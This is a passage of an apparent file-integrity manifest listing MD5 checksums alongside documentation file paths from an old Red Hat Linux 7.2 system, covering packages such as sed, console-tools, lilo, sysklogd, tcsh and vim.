/usr/share/doc/redhat-release-7.2/README-i386.ja +df264d3da312334f4f7ad4c8501ca8b6 /usr/share/doc/redhat-release-7.2/README-i386.ko +c57fe81318a19f09d6a2c9af07db7d31 /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386.de +07bfe43053af279fe4a77194a2d8c1b4 /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386.es +628cfe6235451eab99011d1b78e307c6 /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386.fr +01f12bbced7563d91d2220ebae065a47 /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386.it +404a80b4477bc5846595a6eba0842e96 /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386.ja +97fabf7e86de5e61bf4fb35379b3f89d /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386.ko +58cf3c3cc5ac5a474b31c26a86b2c889 /usr/share/doc/redhat-release-7.2/RPM-GPG-KEY +cfd3fb91c22a96e3a098389cc02dc705 /usr/share/doc/redhat-release-7.2/autorun-template +4d29dcdba248241e11fd8e0d62a5f98b /usr/share/doc/sed-3.02/ANNOUNCE +857f9699768cab7044d00630202d655e /usr/share/doc/sed-3.02/BUGS +7dda424ffb71aeb98bb39e07ad6446de /usr/share/doc/sed-3.02/NEWS +1b0e12d0c02336da570d5c3b9b3ecb4c /usr/share/doc/sed-3.02/README +c3583adcbfdb63c961a0417b1837d9a3 /usr/share/doc/sed-3.02/TODO +6a3095b9ecbf4a170e6c6318e795ee4f /usr/share/doc/console-tools-19990829/README.Sun +46b6ca00d164e75874535fa9d514a20a /usr/share/doc/console-tools-19990829/BUGS +2fbfa0fcf4359e551bc829bb64156bea /usr/share/doc/console-tools-19990829/NEWS +543d1ed50953b6db2d10624b7756fd0b /usr/share/doc/console-tools-19990829/README +70090e3c200fecdab43a32f56dd5d6df /usr/share/doc/console-tools-19990829/README.openvt +f667852175144e66df46ca34ba4e50bb /usr/share/doc/console-tools-19990829/README.acm +2c8fbf8f2e826ac8b25007bf3916f98f /usr/share/doc/console-tools-19990829/contrib/cirrus.videomodes +a34e7cb2c120974bbc7a758ad305ee2d /usr/share/doc/console-tools-19990829/contrib/LISEZMOI.Euro +4666a9666c18b8f66e3a88a2f496a9c0 /usr/share/doc/console-tools-19990829/contrib/README.Crosser +683268bd4db6ed7defd5c0d4ae435c2e /usr/share/doc/console-tools-19990829/contrib/README.Euro +4106f16e62e6f7e3c4953ae19f73d1b5 /usr/share/doc/console-tools-19990829/contrib/as400.kbd +4cdcba877ad178cc56caf7d296293aa8 /usr/share/doc/console-tools-19990829/contrib/console.docs +a45473efee1b68b03c60a9d03adfc102 /usr/share/doc/console-tools-19990829/contrib/keysyms.h.txt +99e7e76eabf88c9b6136692c3abae6aa /usr/share/doc/console-tools-19990829/contrib/set_kbd_repeat +b1ecb5870dad3e6968eb7d189a0b731f /usr/share/doc/console-tools-19990829/README.sfm +b4b1d5fd50f1de007951a6ddaaa6a314 /usr/share/doc/console-tools-19990829/RELEASE +f51f89b817cae00edc4b57832b06acdf /usr/share/doc/console-tools-19990829/TODO +7c1ddf682245a8f9e67907cf27641dc7 /usr/share/doc/console-tools-19990829/dvorak/dvorak-l.xmodmap +ae2456b35d5b18c66d5a81fe6a605652 /usr/share/doc/console-tools-19990829/dvorak/ANSI-dvorak.gif +79239fe75dad93d14456013c9576cb40 /usr/share/doc/console-tools-19990829/dvorak/dvorak-r.xmodmap +dfe51414e9b6059cce474af87778946d /usr/share/doc/console-tools-19990829/dvorak/dvorak.diffs +8167171e691bbaa27e975bed64e3a459 /usr/share/doc/console-tools-19990829/dvorak/dvorak.txt +37c551535ccdf96840912a11625e39bb /usr/share/doc/console-tools-19990829/dvorak/dvorak.xmodmap +541cfeff5276cfdfb01555a9e86e32c4 /usr/share/doc/console-tools-19990829/file-formats/xpsf-draft.old +4e3c0bb33dfbea9981de2492404d5115 /usr/share/doc/console-tools-19990829/file-formats/Makefile +36fdfa109eea7eb9cba5572beb121d06 /usr/share/doc/console-tools-19990829/file-formats/Makefile.am +26ffd4041b8feaa4679688d0df1947d1 /usr/share/doc/console-tools-19990829/file-formats/Makefile.in +0ae0938e8c89df2b7858ade5ab3f4db9 /usr/share/doc/console-tools-19990829/file-formats/TMPL +1c19c43bc02f3616974e61e223a3b9d8 /usr/share/doc/console-tools-19990829/file-formats/cp +87b9c35ca98be8cd07e37af0d6396722 /usr/share/doc/console-tools-19990829/file-formats/cpi +728c61f1e609353ed0d125b2c31f6c9c /usr/share/doc/console-tools-19990829/file-formats/psf +256f981b218468a5f8c08cfc1ea67287 /usr/share/doc/console-tools-19990829/file-formats/raw +139ee7905967953cd95287d8ebb86325 /usr/share/doc/console-tools-19990829/file-formats/xpsf-draft.sgml +3f6e153e5a5d2b968af8192448fa2b87 /usr/share/doc/console-tools-19990829/fonts/README.Arabic +ce489ec5e42059f290cc7af81cd8aa79 /usr/share/doc/console-tools-19990829/fonts/README +2ef07cf47f5d22b87509214fc30e0212 /usr/share/doc/console-tools-19990829/fonts/README.Cyrillic +cbdba7ef122fb569289ff94777531461 /usr/share/doc/console-tools-19990829/fonts/README.Ethiopic +3afebbe3b212bbd8e6ae5b70bd0a1234 /usr/share/doc/console-tools-19990829/fonts/README.Greek +2cdd81fc834f2253c68ca288b8277607 /usr/share/doc/console-tools-19990829/fonts/README.Hebrew +940a5f56a21e7ad5ec10481a93758215 /usr/share/doc/console-tools-19990829/fonts/README.Sun +371ee823a7cf07ed8cd21f172f6be577 /usr/share/doc/console-tools-19990829/fonts/README.lat2u +75a7433f5b911a8353ad997e09590987 /usr/share/doc/console-tools-19990829/fonts/README.ucw +16ed2f2fcedff466ef8b3a0a2b216cc7 /usr/share/doc/console-tools-19990829/fonts/fonts.magic +4c9483dc09bf7c943bec8e5e10feee40 /usr/share/doc/console-tools-19990829/keymaps/README.sparc +0043376539f7dfc8328dc2f4ebaef4c1 /usr/share/doc/console-tools-19990829/keymaps/README +8865215546b8711a693fc2af40287949 /usr/share/doc/console-tools-19990829/keymaps/no-latin1.doc +7d6f45d27c2b69f821e47164387cac1c /usr/share/doc/console-tools-19990829/keymaps/hypermap.m4 +d4d23ce1bb009adae3fe2294801ddeb2 /usr/share/doc/console-tools-19990829/keymaps/se.readme +119a75a8520e4f391c700ac9e47af5a6 /usr/share/doc/console-tools-19990829/lct.txt +12639e2acdd5d0e2aba313777dd315b0 /usr/share/doc/slocate-2.6/ChangeLog +3072d1062bf7ec84410e400b91e19573 /usr/share/doc/slocate-2.6/INSTALL +9e668919b3a8ea961cc15983e1615f33 /usr/share/doc/slocate-2.6/LICENSE +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/slocate-2.6/MIRRORS +dcc1701e7494639ca55ee0f9b27ab6e6 /usr/share/doc/slocate-2.6/README +1f67b7070468c1e136c755ebd7bc7dbe /usr/share/doc/sysklogd-1.4.1/README.linux +37af5767ed0e71a9ea9213f2680b63ec /usr/share/doc/sysklogd-1.4.1/ANNOUNCE +e5b346f8a9e04094e77d2464a48af3d5 /usr/share/doc/sysklogd-1.4.1/CHANGES +bc05f9fb4276048c9c61f3b1961d23e4 /usr/share/doc/sysklogd-1.4.1/ChangeLog +e96c4f592874f3abaf4ba0b8745dc334 /usr/share/doc/sysklogd-1.4.1/INSTALL +7aa78950004d4d7586a7ef36232ee0f5 /usr/share/doc/sysklogd-1.4.1/NEWS +ad5601877d1734534aa8dbdb0213a67c /usr/share/doc/sysklogd-1.4.1/README.1st +b1669a02e537b88be5fc1c0d40f5e2ab /usr/share/doc/tcsh-6.10/Fixes +b96b2989ec58f8a68940aea04211ac75 /usr/share/doc/tcsh-6.10/FAQ +39d401075d53664f67249e01eeb5d65d /usr/share/doc/tcsh-6.10/complete.tcsh +9d75286dbca1024b7c9b86abe4c8134f /usr/share/doc/tcsh-6.10/NewThings +ed3de4edceaf5dd011f6831b1bfcf30d /usr/share/doc/tcsh-6.10/tcsh.html/tcsh.man2html +8ea1e8efefa6ee26165dcb6d3331d3bd /usr/share/doc/tcsh-6.10/tcsh.html/header.html +e6f3361a435604dc76be6a99af583fa2 /usr/share/doc/tcsh-6.10/tcsh.html/lists.html +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/tcsh-6.10/tcsh.html/tcsh.man +efde0272d738cd9d6f62967ce949cd80 /usr/share/doc/tcsh-6.10/tcsh.html/top.html +90acc34114d61e0366f562395d75228c /usr/share/doc/tcsh-6.10/eight-bit.txt +04b424374240b7d3bdf7819c5fd16336 /usr/share/doc/textutils-2.0.14/NEWS +b56858d7044443d2eee9e8d0b6b9216c /usr/share/doc/textutils-2.0.14/README +f0735476f185689255ad4dc082933769 /usr/share/doc/lilo-21.4.4/INCOMPAT +98cb52108a9c287befdd92b7df7814c0 /usr/share/doc/lilo-21.4.4/CHANGES +816d8ef22300e32364c3721fe5256f3c /usr/share/doc/lilo-21.4.4/COPYING +50ddce4a6e243baa84a2d4276793376c /usr/share/doc/lilo-21.4.4/doc/Technical_Guide.ps +c958b39bb805a6abb674349a97d10e8f /usr/share/doc/lilo-21.4.4/doc/Makefile +cf25958f4707aa5660a662791a493902 /usr/share/doc/lilo-21.4.4/doc/README +e5fbc5c85710f037ac07a55b50edf988 /usr/share/doc/lilo-21.4.4/doc/User_Guide.ps +f6f33f81379cbc4e84f8648b7a948676 /usr/share/doc/lilo-21.4.4/doc/bootloader.fig +4f64cfb7ba27b432dffb3f0822828293 /usr/share/doc/lilo-21.4.4/doc/bootloader.tex +4025d7a8a0b3014ca62e3478c637e865 /usr/share/doc/lilo-21.4.4/doc/fullpage.sty +4d8b6f707b4ca0bec35606e716f67a0e /usr/share/doc/lilo-21.4.4/doc/image.fig +ef45d6e5168ffab6d8a254a0b26eaa68 /usr/share/doc/lilo-21.4.4/doc/image.tex +625532e3a9f5919345a3428b19d5dce3 /usr/share/doc/lilo-21.4.4/doc/map.fig +1258fb52df05160e58292aa6f14c74f7 /usr/share/doc/lilo-21.4.4/doc/map.tex +a2b8b91a367c1d132d61fbd77823eca4 /usr/share/doc/lilo-21.4.4/doc/other.fig +dc140f48741f8e92f40b9d5c2399e79a /usr/share/doc/lilo-21.4.4/doc/other.tex +b6e014b90a6f34dfcd20edefa54f2bab /usr/share/doc/lilo-21.4.4/doc/parameter.fig +5eab73d7aba8b9845497f37b4856f65c /usr/share/doc/lilo-21.4.4/doc/parameter.tex +d821aabbed84984b96fd350a1d0dd9de /usr/share/doc/lilo-21.4.4/doc/rlatex +4ecf55bb9133565bf49a53b2d0f59438 /usr/share/doc/lilo-21.4.4/doc/t2a.pl +1fd24408146a6c5c48627e7956da708b /usr/share/doc/lilo-21.4.4/doc/tech.dvi +6dbbfe3bf671f371e6334184d3066c8b /usr/share/doc/lilo-21.4.4/doc/tech.tex +f78470217952f9c0929891c259b76679 /usr/share/doc/lilo-21.4.4/doc/user.dvi +d60c6177c1dcbc07b703004363bf37ba /usr/share/doc/lilo-21.4.4/doc/user.tex +300eccd3f8d18eded3a9cbbb1eaab5dd /usr/share/doc/lilo-21.4.4/QuickInst +476a673edf51eeca395bebbaf7ba7db1 /usr/share/doc/lilo-21.4.4/README +0ad5e82cfb2ac82b2bfc3bb998150ed6 /usr/share/doc/time-1.7/NEWS +44e9fc77c32600526ed39343511914a1 /usr/share/doc/time-1.7/README +55ca817ccb7d5b5b66355690e9abc605 /usr/share/doc/utempter-0.5.2/COPYING +16bbcf542e4fdd952470346a1dee8293 /usr/share/doc/vim-common-5.8/README_ami.txt +3c8477edba9d323d1139ad9e7ddfc7ec /usr/share/doc/vim-common-5.8/README.txt +01426ec31a66a7dfa5c299ae5ca54ee2 /usr/share/doc/vim-common-5.8/doc/hangulin.txt +81cd3f7d8d169a0de8adf73f85c63311 /usr/share/doc/vim-common-5.8/doc/Makefile +055765f8a0fdd27580fde5ea30fded10 /usr/share/doc/vim-common-5.8/doc/autocmd.txt +5185de414113f1c44da715faab6f04e8 /usr/share/doc/vim-common-5.8/doc/change.txt +717d12c77c139072eaad94e8dbbde7e4 /usr/share/doc/vim-common-5.8/doc/cmdline.txt +118e8874ced36100d0fead04533480a1 /usr/share/doc/vim-common-5.8/doc/develop.txt +33c0cd6bd2b2409ad192c89df6f573b3 /usr/share/doc/vim-common-5.8/doc/digraph.txt +44cc06258a838b04021e8fe71129e4c9 /usr/share/doc/vim-common-5.8/doc/doctags.c +d1972b744811c77a0773526e9809b85b /usr/share/doc/vim-common-5.8/doc/editing.txt +d1a5548cc072517c9c6dca0eba368a8c /usr/share/doc/vim-common-5.8/doc/eval.txt +1fa9d7a20ee9bed2923316f08c29a8c7 /usr/share/doc/vim-common-5.8/doc/farsi.txt +b45178f0b43549bb817887967c4ca11b /usr/share/doc/vim-common-5.8/doc/gui.txt +3c3b39fba5c330c97e5931550b25fa30 /usr/share/doc/vim-common-5.8/doc/gui_w32.txt +e3e9ddc8c99f87aef4405f712b843ffa /usr/share/doc/vim-common-5.8/doc/gui_x11.txt +701dab539e7ed65690543d1ae0597e27 /usr/share/doc/vim-common-5.8/doc/help.txt.info +6c3dfb7ed1081da3b215961ce96160b3 /usr/share/doc/vim-common-5.8/doc/help.txt +8da78db3fae22907715eefd6e6baa694 /usr/share/doc/vim-common-5.8/doc/if_cscope.txt +e24257d07823d0a9f0538ca3b2c9ed26 /usr/share/doc/vim-common-5.8/doc/howto.txt +6bbaa935ba84f78254dc59007662195f /usr/share/doc/vim-common-5.8/doc/if_python.txt +0df2509658d23bf9c30a9bd260923e8a /usr/share/doc/vim-common-5.8/doc/if_ole.txt +63a28fa7fda1884779bbd04e54ff67e5 /usr/share/doc/vim-common-5.8/doc/if_perl.txt +134b11f86f24c718e9f5210f48a797f1 /usr/share/doc/vim-common-5.8/doc/if_sniff.txt +8428648c69ca916d495d285a667112aa /usr/share/doc/vim-common-5.8/doc/if_tcl.txt +19abc65b7360afbba17bac210cf7d4f4 /usr/share/doc/vim-common-5.8/doc/index.txt +e2807333a71144598830d9c61863f9dd /usr/share/doc/vim-common-5.8/doc/insert.txt +7e0f70c19c63323e0b10c5fe16fbb783 /usr/share/doc/vim-common-5.8/doc/intro.txt +02000559e0015e7d3d657c2733fb7974 /usr/share/doc/vim-common-5.8/doc/makehtml.awk +a1d51257645b6bef160f6884fa5789f6 /usr/share/doc/vim-common-5.8/doc/maketags.awk +061547baa686ea64139416b53111bf5e /usr/share/doc/vim-common-5.8/doc/map.txt +132442e0de69f68f31de7c310b3b5c4e /usr/share/doc/vim-common-5.8/doc/message.txt +084645bffde3151a98ae5bee9b61718f /usr/share/doc/vim-common-5.8/doc/motion.txt +85e09757b39ea779cf267085509f9d70 /usr/share/doc/vim-common-5.8/doc/multibyte.txt +fe119b6833dda612d63322235c2c0e77 /usr/share/doc/vim-common-5.8/doc/options.txt +1335d1ea075b6b4fabc84f3a7fdd2d7f /usr/share/doc/vim-common-5.8/doc/os_amiga.txt +386c2b6ecb5f8e52950754ff0bb6c7ad /usr/share/doc/vim-common-5.8/doc/os_beos.txt +1d9f399040fee36b259a609d7c68f493 /usr/share/doc/vim-common-5.8/doc/os_dos.txt +a846c38826dabf1ffba7a0225b014211 /usr/share/doc/vim-common-5.8/doc/os_mac.txt +919597586429bbd4f0c3a736e0fb4551 /usr/share/doc/vim-common-5.8/doc/os_mint.txt +c5b8ed1ae7bb8ad1d9261ef0fcd29107 /usr/share/doc/vim-common-5.8/doc/os_msdos.txt +a8b7d9f870473e3f631c97bfc5a1ecb6 /usr/share/doc/vim-common-5.8/doc/os_os2.txt +97012222095b7d5c7202c1792e252498 /usr/share/doc/vim-common-5.8/doc/os_riscos.txt +206ac9aa6f3813333e1c4b59ef0f38ab /usr/share/doc/vim-common-5.8/doc/os_unix.txt +af9f76ce818955bd622ba2e94afd2fa5 /usr/share/doc/vim-common-5.8/doc/os_vms.txt +43d8e9c34c5fcffd9d6c1bd98eb45dd2 /usr/share/doc/vim-common-5.8/doc/os_win32.txt +583a5edc8c91275d8b37c66da18bbd41 /usr/share/doc/vim-common-5.8/doc/pattern.txt +72d2ef9d8105c64fea52e8a5fbf3bf38 /usr/share/doc/vim-common-5.8/doc/quickfix.txt +0148a5d810746c8495af8e2b528f83ce /usr/share/doc/vim-common-5.8/doc/quotes.txt +23d7e7e9952a26a10f82633920136a09 /usr/share/doc/vim-common-5.8/doc/recover.txt +b67fc957211b5d29f9fb0465c94f5fe8 /usr/share/doc/vim-common-5.8/doc/repeat.txt +18ea70bad4f9784a2128b9f8722a6337 /usr/share/doc/vim-common-5.8/doc/rightleft.txt +7aff366df5cf0a61e62e706818038d5f /usr/share/doc/vim-common-5.8/doc/scroll.txt +5f965f69670b31d4f607def25e290823 /usr/share/doc/vim-common-5.8/doc/starting.txt +39e1af2fad13c293c2cbf0be0b23e17a /usr/share/doc/vim-common-5.8/doc/syntax.txt +de7278c3715d60b2a3e7b35d1dce7267 /usr/share/doc/vim-common-5.8/doc/tags +1d56dd94de0ba7ca511366a35073c846 /usr/share/doc/vim-common-5.8/doc/tagsearch.txt +ecc89209d6f63cfbf65e86c9dcb0663b /usr/share/doc/vim-common-5.8/doc/term.txt +803474e5ed375e57770367e79130e903 /usr/share/doc/vim-common-5.8/doc/tips.txt +e08ebcc03fb8b67dc6d6cd2fd596df60 /usr/share/doc/vim-common-5.8/doc/todo.txt +f55c2323f897302bb8a99d5c50642e25 /usr/share/doc/vim-common-5.8/doc/uganda.txt +da6f6f91726466e763d2b8894804ed7e /usr/share/doc/vim-common-5.8/doc/undo.txt +80493cbdf4cd6cb2cb81332d0b4e2747 /usr/share/doc/vim-common-5.8/doc/various.txt +525069a9266c4edbf7dc1551b8e7f543 /usr/share/doc/vim-common-5.8/doc/version4.txt +6382cb8e14fdbc09a4655d9a7d1bd236 /usr/share/doc/vim-common-5.8/doc/version5.txt +206f0440ff4e0d1a3ec1aa5b75b20168 /usr/share/doc/vim-common-5.8/doc/vi_diff.txt +134236f81d72dad60121a466f757517f /usr/share/doc/vim-common-5.8/doc/vim.1 +6ca015797639cc69ab0f9c8fe9ffbd0b /usr/share/doc/vim-common-5.8/doc/vim.1.docs +7e1f551f0ce31b9fb42a9ae8da17bfd0 /usr/share/doc/vim-common-5.8/doc/vim.man +59be7dcf8c4314243d29360a163c2668 /usr/share/doc/vim-common-5.8/doc/vim.man.info +83cadf8b7e7509bfab5eb30b9f65b5a1 /usr/share/doc/vim-common-5.8/doc/vim2html.pl +153fddbc60ec3236b770914b46a859d8 /usr/share/doc/vim-common-5.8/doc/vimtutor.1 +bd8151e952c669aef5a49c4c224af214 /usr/share/doc/vim-common-5.8/doc/vimtutor.man +bfdb6b6d4a1dfa26870e5607fbad0003 /usr/share/doc/vim-common-5.8/doc/visual.txt +60709dc42a03d7468092f9a2b329457b /usr/share/doc/vim-common-5.8/doc/windows.txt +3a6d30cdafbff47fac3cdfc997278027 /usr/share/doc/vim-common-5.8/doc/xxd.1 +924ede427c9d9c02b818d3936cbe1fd2 /usr/share/doc/vim-common-5.8/doc/xxd.man +26986bdd5553a36346060e31914b82e7 /usr/share/doc/vim-common-5.8/filetype.vim +ee15357d1ea9081bf8d4cba9cb2d4e1b /usr/share/doc/vim-common-5.8/README_amibig.txt +01dffd3de6ad42f65ad7c9b40a9beb08 /usr/share/doc/vim-common-5.8/README_amibin.txt +a79b373e41338a95397641b7505dd290 /usr/share/doc/vim-common-5.8/README_amisrc.txt +6459db725fbf9bddecfa2a9937c775f1 /usr/share/doc/vim-common-5.8/README_dos.txt +308a6e4befc9a1678b85429635c0aee2 /usr/share/doc/vim-common-5.8/README_dosbin.txt +5f42a53581dab8b343526bb6a478742e /usr/share/doc/vim-common-5.8/README_dossrc.txt +6528b5a56a4d35e6e1d858be4bbfc6a9 /usr/share/doc/vim-common-5.8/README_extra.txt +f9a6553b7b6c6982846d0972f0916a23 /usr/share/doc/vim-common-5.8/README_ole.txt +27ec3fefea68732d3717604334ef424b /usr/share/doc/vim-common-5.8/README_os2.txt +f2e1f4645101aef247e46515ddbc5ad6 /usr/share/doc/vim-common-5.8/README_src.txt +2774dbafa0a6df6c07d373eb6620c628 /usr/share/doc/vim-common-5.8/README_unix.txt +34eb8bc3691abba667dda3cb4a36536e /usr/share/doc/vim-common-5.8/README_vms.txt +002c8b6a059047ad15d25bc92eae295c /usr/share/doc/vim-common-5.8/README_w32s.txt +1aabeb30064bd427b0077ae495f0603f /usr/share/doc/vim-common-5.8/bugreport.vim +dead3307713a9661add70600bc9825d1 /usr/share/doc/vim-common-5.8/gvimrc_example.vim +5faff8085180362c7df1e435d8e153d6 /usr/share/doc/vim-common-5.8/ftoff.vim +9ac590a5ea107a0d84874920b60d0add /usr/share/doc/vim-common-5.8/syntax/apachestyle.vim +6b77f0e4fd22035656be07e1b0a07cdb /usr/share/doc/vim-common-5.8/syntax/2html.vim +1a0b264b4aed2be202298dee85aa2c27 /usr/share/doc/vim-common-5.8/syntax/README.txt +f87c8af1915fcf2b7a3a8c24b79d7a46 /usr/share/doc/vim-common-5.8/syntax/abaqus.vim +46997f0c6785c6046ace8df370e89386 /usr/share/doc/vim-common-5.8/syntax/abc.vim +18963f33d8043c7d3342380a2a464a89 /usr/share/doc/vim-common-5.8/syntax/abel.vim +44aaca85ff91288292d89a758167bfc4 /usr/share/doc/vim-common-5.8/syntax/acedb.vim +873da5a9790b9f16525d02a7ef5e84cf /usr/share/doc/vim-common-5.8/syntax/ada.vim +78b0fea2f59efc0792a593869e415bc5 /usr/share/doc/vim-common-5.8/syntax/aflex.vim +439de573ebc2130d97c5f8f8478b58fe /usr/share/doc/vim-common-5.8/syntax/ahdl.vim +151ae5454506d65dddb6b69aacd7de19 /usr/share/doc/vim-common-5.8/syntax/amiga.vim +c90983909f7b6045c7897c49cc4366ab /usr/share/doc/vim-common-5.8/syntax/aml.vim +7e20587386e8d6079951de0235c7d8b5 /usr/share/doc/vim-common-5.8/syntax/antlr.vim +f0d864d26e42f1f83413315c5b1196b1 /usr/share/doc/vim-common-5.8/syntax/apache.vim +adee2ed801362279f455c89b73f4d817 /usr/share/doc/vim-common-5.8/syntax/asm68k.vim +428fe299d610000b797f1fc35d499268 /usr/share/doc/vim-common-5.8/syntax/asm.vim +46df9b2d7a44ccd2a7e6c73ba4465b79 /usr/share/doc/vim-common-5.8/syntax/debchangelog.vim +20de6f13a58713147382c68a52a46f72 /usr/share/doc/vim-common-5.8/syntax/asmh8300.vim +f84bbd006636184e01e260c6e718c6ca /usr/share/doc/vim-common-5.8/syntax/asn.vim +9b91f325f0b8d570b3f0609259bca13d /usr/share/doc/vim-common-5.8/syntax/aspperl.vim +a699f4a809acca7d4be406059894052d /usr/share/doc/vim-common-5.8/syntax/aspvbs.vim +6646a216735b5e139b2162790b3652aa /usr/share/doc/vim-common-5.8/syntax/atlas.vim +bd4deb0659e599766a71402933dd6be1 /usr/share/doc/vim-common-5.8/syntax/automake.vim +0830bf2d8b330b562bd0356e3abeb4c8 /usr/share/doc/vim-common-5.8/syntax/ave.vim +64568763ce2ca4d174119344219ae8a7 /usr/share/doc/vim-common-5.8/syntax/awk.vim +52eb3b4f751f252de7e3622632bdee0a /usr/share/doc/vim-common-5.8/syntax/ayacc.vim +6357fa67efb4f4794e2f25e86fd46e27 /usr/share/doc/vim-common-5.8/syntax/b.vim +ecdf771d4f4aa0e9d4e872f15bc50a8b /usr/share/doc/vim-common-5.8/syntax/basic.vim +9a025eea229659bdbc98ef3c881ae922 /usr/share/doc/vim-common-5.8/syntax/bc.vim +2658103dbaaa30070baea7f1c5da4aa5 /usr/share/doc/vim-common-5.8/syntax/bib.vim +e16e01655437e746a562566dbc47a76e /usr/share/doc/vim-common-5.8/syntax/bindzone.vim +343cdd5fc57a3b94164580d36848c72d /usr/share/doc/vim-common-5.8/syntax/blank.vim +834f11b88bfee189abc67a4e7c5a51a0 /usr/share/doc/vim-common-5.8/syntax/btm.vim +fa4f698317be401d49228c47c16a9e0f /usr/share/doc/vim-common-5.8/syntax/c.vim +25cb4736276b6d52b8a738e57643129e /usr/share/doc/vim-common-5.8/syntax/cf.vim +ca363c8f078b3e5592b0d304d28ec083 /usr/share/doc/vim-common-5.8/syntax/cfg.vim +b29168a802c08248ddafc60b2b77c5a9 /usr/share/doc/vim-common-5.8/syntax/ch.vim +07e8f1b13528898401cf52f0bfc8ee87 /usr/share/doc/vim-common-5.8/syntax/change.vim +837d918cc06b4c6501ab93e63d2b29e1 /usr/share/doc/vim-common-5.8/syntax/changelog.vim +98a6fcd3f2162efeca2e2ed2bb9c1e0b /usr/share/doc/vim-common-5.8/syntax/cl.vim +719d1de025e315b637ddd5e554643b27 /usr/share/doc/vim-common-5.8/syntax/clean.vim +4ebdadd972478cf7df9a50c95cfdfb69 /usr/share/doc/vim-common-5.8/syntax/clipper.vim +a279e4542b0d56d1011abf9fd91da617 /usr/share/doc/vim-common-5.8/syntax/cobol.vim +3b740ede1774ecc0eec8e2c90843e88f /usr/share/doc/vim-common-5.8/syntax/colortest.vim +c655cc9b8440ab6e05c8422aed784890 /usr/share/doc/vim-common-5.8/syntax/conf.vim +1dd01d01acbdb911b97a6ea2cc7dd094 /usr/share/doc/vim-common-5.8/syntax/config.vim +0c63cd36de2bd36e8ca075f7bde0aab0 /usr/share/doc/vim-common-5.8/syntax/cpp.vim +987ebf787857237bf8c867e1ead56022 /usr/share/doc/vim-common-5.8/syntax/crontab.vim +a47718905df00cd27f040ddb832ded50 /usr/share/doc/vim-common-5.8/syntax/csc.vim +53a8d8cb70c0f1eac343a621d548a8d6 /usr/share/doc/vim-common-5.8/syntax/csh.vim +54d67023b065cc32ba0f6352e0abdb60 /usr/share/doc/vim-common-5.8/syntax/csp.vim +cae9f3962683e77dd8b0eef231667dc9 /usr/share/doc/vim-common-5.8/syntax/css.vim +ad2af04c8f79dc07dffc08241c52310e /usr/share/doc/vim-common-5.8/syntax/cterm.vim +21809cbb316ba9a4f1b96ec9a13c67c7 /usr/share/doc/vim-common-5.8/syntax/ctrlh.vim +c0e3940cee2aa20689c847495720ae9d /usr/share/doc/vim-common-5.8/syntax/cupl.vim +2e4c658952568556d07224f44e337306 /usr/share/doc/vim-common-5.8/syntax/cuplsim.vim +78f65c07ac4d641653976a9c59d79cda /usr/share/doc/vim-common-5.8/syntax/cvs.vim +1e3a582c931fe0030dd4b6915583c36e /usr/share/doc/vim-common-5.8/syntax/cweb.vim +8720a4a37975424a34ac441c16bd991c /usr/share/doc/vim-common-5.8/syntax/cynlib.vim +de16a94577d78254e052997e724d7d91 /usr/share/doc/vim-common-5.8/syntax/cynpp.vim +b3b10176c8aa723914c4c05924aee0e9 /usr/share/doc/vim-common-5.8/syntax/dcl.vim +ba31ff5b20be47c4105a03bafbabcc20 /usr/share/doc/vim-common-5.8/syntax/debcontrol.vim +7c8db36254b492a16b050096efc853de /usr/share/doc/vim-common-5.8/syntax/def.vim +b991d151d76a09aafe34193910fb435c /usr/share/doc/vim-common-5.8/syntax/diff.vim +4a354179acf5c12454b89662e4ee0aea /usr/share/doc/vim-common-5.8/syntax/diva.vim +330841f3219dd05e82f1ce963ca5d9c9 /usr/share/doc/vim-common-5.8/syntax/dns.vim +c2575890c2e22687501e9115263e190f /usr/share/doc/vim-common-5.8/syntax/docbk.vim +c29971f560edc07f5a2dfd95fb80aab6 /usr/share/doc/vim-common-5.8/syntax/dosbatch.vim +61520d223095345c4af9188ad476ea96 /usr/share/doc/vim-common-5.8/syntax/dosini.vim +b0c49956097a943174205dc8445c6811 /usr/share/doc/vim-common-5.8/syntax/dracula.vim +a458905b7c8b54439fe13be32e72c0bd /usr/share/doc/vim-common-5.8/syntax/dtd.vim +6e7b8117a5b981cc4891009d5619c07e /usr/share/doc/vim-common-5.8/syntax/dtd.vim.pl2 +42e516a4e929919989aa9cfbc48f9813 /usr/share/doc/vim-common-5.8/syntax/dtml.vim +cd3489a22043fb9fe95d4948fd4b4d60 /usr/share/doc/vim-common-5.8/syntax/dylan.vim +39e3e6ec55de86780f4ba45cb32a449b /usr/share/doc/vim-common-5.8/syntax/dylanintr.vim +2cc9b0492ab42b5cd9e36b0561488b1f /usr/share/doc/vim-common-5.8/syntax/dylanlid.vim +19f18f4a95a44899f1db24d03edd78ba /usr/share/doc/vim-common-5.8/syntax/ecd.vim +99e9fc790246d97cdd366fa54bb2232d /usr/share/doc/vim-common-5.8/syntax/eiffel.vim +830f3ac6c190c5ce3e97869d3e1a19e1 /usr/share/doc/vim-common-5.8/syntax/elf.vim +b5da5b1e0cf09137313bc66dd672f76e /usr/share/doc/vim-common-5.8/syntax/elmfilt.vim +c2ba13ddd85099cc461d05d634c25b0d /usr/share/doc/vim-common-5.8/syntax/erlang.vim +aa5a1152da5ddd2cef565f7d9b3729fa /usr/share/doc/vim-common-5.8/syntax/esqlc.vim +4df80d7ba58af8bc765d296ad4032a93 /usr/share/doc/vim-common-5.8/syntax/expect.vim +95317e436d5cd0855b921ff982b30cab /usr/share/doc/vim-common-5.8/syntax/exports.vim +99693f7ca4d8de35c948ecb08bd16e2e /usr/share/doc/vim-common-5.8/syntax/fgl.vim +769033609c977d0368ae7bd101a121f3 /usr/share/doc/vim-common-5.8/syntax/focexec.vim +546041788d1f041ec585cbb5480f881a /usr/share/doc/vim-common-5.8/syntax/form.vim +0442a4e8f65f26fb7d6fcd65d3a9884c /usr/share/doc/vim-common-5.8/syntax/forth.vim +484381f9a8ccd16a560e2474e50c94b5 /usr/share/doc/vim-common-5.8/syntax/fortran.vim +c19d5bf7a8b8b589f2b694f40732ca24 /usr/share/doc/vim-common-5.8/syntax/foxpro.vim +de35a2ed985a1f7c7f9bdedac1450234 /usr/share/doc/vim-common-5.8/syntax/fvwm.vim +9bc067ca9e3e6eaf39d4569bbdb99fa7 